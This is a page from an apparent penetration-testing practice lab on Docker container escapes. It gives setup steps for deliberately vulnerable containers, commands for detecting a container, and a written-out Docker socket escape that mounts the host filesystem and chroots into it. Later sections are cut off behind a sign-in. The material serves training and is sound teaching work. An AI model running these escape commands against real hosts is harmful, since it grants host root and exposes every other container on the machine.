Practice library / Penetration testing, first steps
Lab · Hard · 2.5 hoursFree account
Docker Container Escape
Socket abuse, privileged mode, CAP_SYS_ADMIN cgroup escape, and runc CVE.
On this page 7 sections
Before you start
A container escape turns a limited shell inside a container into code execution on the host kernel that every other container shares. Real incidents — misconfigured Docker sockets in CI, privileged containers in production — have led to full fleet compromise. Here you exploit a mounted Docker socket, a privileged mount, the CAP_SYS_ADMIN cgroup trick and the runc CVE-2019-5736 path to break out of a lab container.
Lab Objectives
- Detect if you are running inside a Docker container
- Exploit the Docker socket mounted into a container
- Escape a privileged container by mounting the host filesystem
- Abuse CAP_SYS_ADMIN via the cgroup release_agent exploit
- Use namespace escapes to access host processes
- Study the runc CVE-2019-5736 container escape
Topics Covered
- Container detection techniques from inside a container
- Docker socket privilege escalation
- Privileged container breakout via device access
- CAP_SYS_ADMIN — cgroup release_agent exploit mechanism
- Namespace escape via /proc/1/exe
- runc CVE-2019-5736 — overwriting the host runc binary
Build the target
KaliRange hosts no containers and no Docker host. Run every command below inside a container on your own machine, built with the flaw that technique needs.
| Technique | Build this container yourself |
|---|---|
| Docker socket escape | docker run -it -v /var/run/docker.sock:/var/run/docker.sock alpine sh — the mounted socket is the misconfiguration |
| Privileged container | docker run -it --privileged alpine sh |
| CAP_SYS_ADMIN / cgroup | docker run -it --cap-add=SYS_ADMIN alpine sh, on a host whose kernel still has cgroup v1 mounted |
| runc CVE-2019-5736 | A host with Docker and a runc build older than 1.0-rc7; the PoC needs the host to docker exec into the container while it runs |
Run all of this on your own machine or a disposable virtual machine, never on a shared or production host. Take a snapshot of the host (or note the image and flags you used) before Step 1, so you can rebuild the same container again.
Run every command in this lab only against a container and a host that you own. These techniques give you root on the host; never run them on a shared or production machine.
Container Detection
ls /.dockerenv && echo "In Docker"
cat /proc/1/cgroup | grep docker
cat /proc/self/status | grep CapEff
# bce0 = non-privileged container
# ffff = privileged container (immediate escape possible)Technique 1 — Docker Socket Escape
# Check for mounted socket
ls -la /var/run/docker.sock
find / -name "docker.sock" 2>/dev/null
# Instantaneous escape if docker binary is available
docker -H unix:///var/run/docker.sock run --rm -v /:/mnt -it alpine chroot /mnt sh
# Without docker binary — use the socket API directly
curl --unix-socket /var/run/docker.sock http://localhost/containers/json
# Then create a container via API with host filesystem mountedSign in to continue
3 more sections are for signed-in members. It is free: sign in with Google.